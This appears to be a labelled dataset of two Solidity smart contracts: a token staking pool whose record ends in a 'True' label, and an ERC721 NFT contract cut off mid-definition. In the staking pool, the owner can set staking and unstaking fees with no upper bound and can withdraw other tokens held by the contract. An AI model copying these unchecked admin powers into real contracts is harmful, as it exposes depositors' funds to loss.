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/** *Submitted for verification at Etherscan.io on 2020-12-06 */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract YeFiMpool1 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfilend token contract address address public tokenAddress; // reward rate % per year uint public rewardRate = 5500; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0), "Invalid address format is not supported"); tokenAddress = _tokenAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0), "Interracting token address is not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
True
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/** *Submitted for verification at Etherscan.io on 2022-02-16 */ // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.8.4; library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } library EnumerableMap { struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { MapEntry[] _entries; mapping (bytes32 => uint256) _indexes; } function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } function _remove(Map storage map, bytes32 key) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; MapEntry storage lastEntry = map._entries[lastIndex]; map._entries[toDeleteIndex] = lastEntry; map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based map._entries.pop(); delete map._indexes[key]; return true; } else { return false; } } function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } function _length(Map storage map) private view returns (uint256) { return map._entries.length; } function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } struct UintToAddressMap { Map _inner; } function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Integer modulo of two numbers, truncating the remainder. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event URI(string value, uint256 indexed id); event tokenBaseURI(string value); function balanceOf(address owner) external view returns (uint256 balance); function royaltyFee(uint256 tokenId) external view returns(uint256); function getCreator(uint256 tokenId) external view returns(address); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to account balances mapping (address => EnumerableSet.UintSet) private _holderTokens; EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from tokenId to operator approvals mapping (uint256 => address) private _tokenApprovals; // Mapping from account to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; string private _name; string private _symbol; // mapping for token URIs mapping (uint256 => string) private _tokenURIs; // mapping for token royaltyFee mapping(uint256 => uint256) private _royaltyFee; // mapping for token creator mapping (uint256 => address) private _creator; string private _baseURI = "https://gateway.pinata.cloud/ipfs/"; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** @notice Get the Token balance of an account's. @param owner The address of the token holder @return The account's balance of the Token type requested */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** @notice Get the owner of tokenId. @param tokenId The tokenId of the token holder @return The current owner of the requested tokenId */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); if (bytes(base).length == 0) { return _tokenURI; } if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return string(abi.encodePacked(base, tokenId.toString())); } function baseURI() public view virtual returns (string memory) { return _baseURI; } function royaltyFee(uint256 tokenId) public view override returns(uint256) { return _royaltyFee[tokenId]; } function getCreator(uint256 tokenId) public view override returns(address) { return _creator[tokenId]; } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view virtual override returns (uint256) { return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param operator Address to add to the set of authorized operators @param approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** @notice Queries the approval status of an operator for a given owner. @param owner The owner of the Tokens @param operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param from Source address @param to Target address @param tokenId ID of the token type. @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId, uint256 fee) internal virtual { _safeMint(to, tokenId, fee, ""); } function _safeMint(address to, uint256 tokenId, uint256 fee, bytes memory _data) internal virtual { _mint(to, tokenId, fee); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId, uint256 fee) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); _creator[tokenId] = msg.sender; _royaltyFee[tokenId] = fee; emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * required msg.sender must be owner of the token. * @param tokenId uint256 Token being burned */ function _burn(uint256 tokenId) internal virtual { require(msg.sender == ownerOf(tokenId),"caller not owner"); address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to set its URI * @param _tokenURI string URI to assign */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; emit URI(_tokenURI, tokenId); } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; emit tokenBaseURI(baseURI_); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } contract collectibleds is ERC721 { uint256 public tokenCounter; address public owner; mapping(uint256 => bool) private usedNonce; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); struct Sign { 